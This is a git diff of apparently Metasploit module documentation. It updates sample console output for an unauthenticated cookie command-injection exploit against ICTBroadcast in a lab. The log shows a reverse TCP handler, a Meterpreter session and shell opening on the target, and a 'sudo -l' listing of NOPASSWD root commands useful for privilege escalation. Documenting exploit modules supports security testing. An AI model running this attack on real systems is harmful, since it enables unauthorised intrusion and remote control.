@@ -111,16 +111,16 @@ exploit
111
111
** Note** : The session cookie is retrieved dynamically and modified for command injection.
112
112
113
113
``` bash
114
- msf6 exploit(linux/http/ictbroadcast_unauth_cookie) > run http://lab/
114
+ msf6 exploit(linux/http/ictbroadcast_unauth_cookie) > run http://lab
115
115
[* ] Started reverse TCP handler on 192.168.1.36:4444
116
116
[* ] Running automatic check (" set AutoCheck false" to disable)
117
- [* ] Checking if target is an ICTBroadcast instance…
118
- [+] ICTBroadcast detected, verifying injection…
119
- [* ] Retrieving session cookies dynamically...
120
- [* ] Found cookies: BROADCAST=" 16c4d0bf9d5b5cf9d8dc3f19e6ea2338; "
121
- [+] The target is vulnerable. Injection confirmed (slept 3s )
117
+ [* ] Checking ICTBroadcast via JS fingerprints
118
+ [+] JS fingerprint found ; performing timing tests
119
+ [* ] Retrieving session cookies dynamically
120
+ [* ] Found cookies: BROADCAST=49b067ae1fdfbcab3d73caa1c7e6d75a
121
+ [+] The target is vulnerable. Injected RCE (slept 4s )
122
122
[* ] Sending stage (3090404 bytes) to 192.168.128.3
123
- [* ] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.128.3:58784 ) at 2025-08-02 19:27:09 +0200
123
+ [* ] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.128.3:53178 ) at 2025-08-04 17:50:33 +0200
124
124
125
125
meterpreter > sysinfo
126
126
Computer : 192.168.128.3
@@ -129,9 +129,8 @@ Architecture : x64
129
129
BuildTuple : x86_64-linux-musl
130
130
Meterpreter : x64/linux
131
131
meterpreter > shell
132
- Process 798 created.
132
+ Process 877 created.
133
133
Channel 1 created.
134
- export TERM=xterm
135
134
SHELL=/bin/bash script -q /dev/null
136
135
bash-4.4$ sudo -l
137
136
sudo -l
@@ -153,4 +152,5 @@ User asterisk may run the following commands on f7681361bd20:
153
152
(root) NOPASSWD: /usr/sbin/ntpdate
154
153
(root) NOPASSWD: /usr/sbin/rabbitmqctl
155
154
(root) NOPASSWD: /bin/systemctl
155
+ bash-4.4$
156
156
```
0 commit comments